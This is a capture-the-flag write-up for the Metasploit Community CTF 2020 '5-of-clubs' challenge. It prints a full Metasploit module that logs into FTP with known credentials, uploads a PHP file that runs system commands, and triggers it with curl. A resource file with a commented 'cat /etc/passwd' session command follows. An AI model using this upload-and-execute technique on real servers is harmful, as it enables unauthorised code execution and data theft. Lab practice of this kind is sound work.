Metasploit Community CTF 2020 (Dec) Write-up: 5-of-clubs (port 8101)
Summary
The 5-of-clubs challenge was to write a Metasploit module that is uploaded and run on a computer to which you do not have direct access. The module is uploaded along with a resource file that is used to automate Metasploit, the output is logged and can be viewed following execution.
Walk-through
The PCAP file showed that a PHP file is uploaded via ftp using credentials ftpuser:ftpuser into the files directory. This directory exists inside the web path and so the PHP can be executed by requesting the file over HTTP.
Now that we understand how the exploit functions, we need to write a Metasploit module that can be used to perform it. Some basic examples of Metasploit modules are given that can help for the basic structure of the exploit code, along with an example resource file that will be use to configure and run the module.
After uploading the files you can view the output and logs to debug and exfiltrate data.
I find writing ruby pretty difficult so this process involved lots of trial and error. Along the way you’re given some encouragement if you make a request to the index page:
After a few failed attempts to solve the FTP file upload using hacky command execution methods I decided to do it properly and use the Msf::Exploit::Remote::Ftp
class, this made it trivial to get the upload working by basing it off how other modules use it. I found the documentation provided a little difficult to use, but that could be in part due to my lack of experience with ruby.
conn = connect_login
if conn
print_good("FTP - Login succeeded")
result = send_cmd_data(["LS"], "A")
print_status("LS response: #{result.inspect}")
out = send_cmd(['CWD', 'files'], true)
print_status(out)
out = send_cmd(['TYPE', 'a'], true)
# PHP payload:
php_file = "<?php echo \"Hi\";?>"
result = send_cmd_data(["PUT", "example.php"], php_file, "I")
print_status("PUT response: #{result.inspect}")
end
While I did the FTP upload part properly, I ended up doing the HTTP part in a hacky way using command execution and causing the PHP file to be executed using the following:
value = %x( curl http://172.19.0.3/files/shell.php )
print_status(value)
Uploading this Metasploit module and resource file gives the following output to the logs:
Flag
Decoding this base64 string give us the 5-of-clubs.png card:
And the md5sum of this flag gives:
2a9fe85150d32ef6013223956e89649c
Full Code
The full code that I used to perform this challenge can be found below:
exploit.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Exploit::Remote::Tcp
include Msf::Exploit::Remote::Ftp
def initialize(info = {})
super(
update_info(
info,
'Name' => 'stealthcopter msfhack',
'Description' => %q(
stealthcopter attack!!!.
),
'License' => MSF_LICENSE,
'Author' => ['stealthcopter'],
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' =>
[
[ 'Automatic', { } ]
],
'DefaultTarget' => 0,
)
)
register_options(
[
OptString.new('FTPUSER', [ true, 'Valid FTP username', 'ftpuser' ]),
OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'ftpuser' ])
])
end
#
# The sample exploit just indicates that the remote host is always
# vulnerable.
#
def check
Exploit::CheckCode::Vulnerable
end
#
# The exploit method connects to the remote service and sends 1024 random bytes
# followed by the fake return address and then the payload.
#
def exploit
print_status("HELLO")
print_status("connecting to ftp")
conn = connect_login
if conn
print_good("FTP - Login succeeded")
result = send_cmd_data(["LS"], "A")
print_status("LS response: #{result.inspect}")
out = send_cmd(['CWD', 'files'], true)
print_status(out)
out = send_cmd(['TYPE', 'a'], true)
# We can insert #{payload.encoded} into system, but for now lets do a dirty hack to get what we want
php_file = "<?php system(\"md5sum /var/www/5_of_clubs.png; base64 /var/www/5_of_clubs.png\");?>"
result = send_cmd_data(["PUT", "shell.php"], php_file, "I")
print_status("PUT response: #{result.inspect}")
result = send_cmd_data(["LS"], "A")
print_status("LS response: #{result.inspect}")
# Lets just use curl to execute as Http and Ftp includes dont play nice together
print_status("\n\nNow triggering shell...")
value = %x( curl http://172.19.0.3/files/shell.php )
print_status(value)
else
print_status("FTP - Login failed")
end
handler
end
end
resource.rc
# The module is copied to `modules/exploits/`, so don't change this
use exploit/module
set VERBOSE true
set FTPUSER ftpuser
set FTPPASS ftpuser
set RPORT 21
# Make sure everything is alright
show options
# this will execute the module and put any session in background
run -z
# This block of ruby code is useful to make sure a session is setup before
# interacting with it. Feel free to update this code.
<ruby>
print_status('Waiting a bit to make sure the session is completely setup...')
timeout = 10
loop do
break if (timeout == 0) || (framework.sessions.any? && framework.sessions.first[1].sys)
sleep 1
timeout -= 1
end
if framework.sessions.any? && framework.sessions.first[1].sys
# Here is where we can interact with the session (shell or meterpreter).
# The session number should be 1 at this point.
# e.g. (for a meterpreter session):
#run_single("sessions -i 1 -C 'pwd'")
#run_single("sessions -i 1 -C 'ls -lah'")
#run_single("sessions -i 1 -C 'cat /etc/passwd'")
end
</ruby>
Other Challenges
Most of the other flags have been written up by my team-mate rushi and can be found here.